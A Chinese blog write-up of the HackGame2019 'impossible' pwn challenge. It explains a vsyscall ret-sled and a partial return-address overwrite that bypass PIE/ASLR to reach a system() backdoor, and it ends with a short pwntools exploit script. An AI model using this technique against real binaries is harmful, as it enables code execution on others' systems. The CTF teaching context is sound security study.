HackGame2019 impossible WP

保护

在这里插入图片描述

分析

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+0h] [rbp-110h]
  __int64 v4; // [rsp+40h] [rbp-D0h]
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  write(1, "I don't have any vulnerability!\n", 0x20uLL);
  write(1, "You don't buy it? Hack me please!\n", 0x22uLL);
  read(0, &buf, 255uLL);
  JUMPOUT(__CS__, v4);
}
  • 主程序最后会跳转到v4指向的内存,而v4能够被输入的数据覆盖,这是一个利用点。然而麻烦的是保护全开了,但凡是PIE没有开启的情况下,这种题目秒解了。难怪叫做impossible,这下陷入了沉思。。。
  • 随后还在程序中找到了一个后门:
unsigned __int64 back_door()
{
  char buf; // [rsp+0h] [rbp-10h]
  char v2; // [rsp+7h] [rbp-9h]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("that's impossible!");
  read(0, &buf, 7uLL);
  v2 = 0;
  system(&buf);
  return __readfsqword(0x28u) ^ v3;
}
  • 我的第一想法就是能不能通过修改返回地址的低16位,有几率卡进后门。关键ASLR和PIE都开了,程序基址也会变化,唯独只有一处内存不会变化:
    在这里插入图片描述

  • 这是内核地址空间,dump下来放到IDA中看看:
    在这里插入图片描述* 提供了三个系统调用,依次是exit、time、getcpu。有必要在此说一下引入vsyscall的作用。

vsyscall要比普通的系统调用快很多,适用于精度要求很高或者时延要求很低的系统中。vsyscall内存区是静态的,这也带来了一些安全隐患,所以高于ubuntu16.04版本的系统都去掉了vsyscall。

  • 看到这,我的想法就是能不能在栈中通过控制rax的值,然后调用execv()。
    在这里插入图片描述

  • 通过调试发现显然是不可能的,rax会不断的改变,不受我们的控制。我将v4覆盖为0xffffffffff600407,也就是vsyscall中的第一个syscall,结果程序就crash了。搜索了资料才知,原来vsyscall在调用的时候会检查是不是从起始地址执行。所以这里只能覆盖成0xffffffffff600000

  • 然后有趣的事情发生了,当我再次从vsyscall返回后,程序会执行栈中下一个地址指向的数据,因为我之前只填充到v4,所以后面并没有被覆盖,所以程序接下来crash是意料之内的结果
    在这里插入图片描述

  • 假如我们后续再填充0xffffffffff600000会怎么样呢?
    在这里插入图片描述

  • 此时发现,程序会执行多个vsyscall,并且都能顺利返回,也就是说栈能够保持平衡,且平滑的往后移动!
    在这里插入图片描述

  • 最后执行到异常地址,至死方休!!!!

  • 这就有了!我们可以通过查看栈中什么位置存在正常的函数地址,并且能够在我们覆盖的范围之内。然后就可以利用vsyscall像滑雪橇一样滑到目标位置,修改低16位卡进后门!
    在这里插入图片描述

  • 通过观察,发现从我们输入的位置开始,偏移为0xd0处满足我们的要求,因此我们需要填充(0xd0/8+1)次。因为开启了PIE,所以要多次运行。

EXP

from pwn import *

while True:
    try:
        p = process('./impossible')
        pay = p64(0xffffffffff600000) * 0x1b + p16(0x96b)
        p.sendafter('please!', pay) 
        p.interactive()
    except EOFError,e:
        p.close()

在这里插入图片描述

总结

  • 可见,当我们初始化一块内存或者声明一个数组时,清空操作是多么重要。这么一个不起眼的操作,可以在你疏忽了其他关键位置时候,尽量避免程序被劫持。假如程序中加入了清空栈的操作,那么这道题就真的impossible了!
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值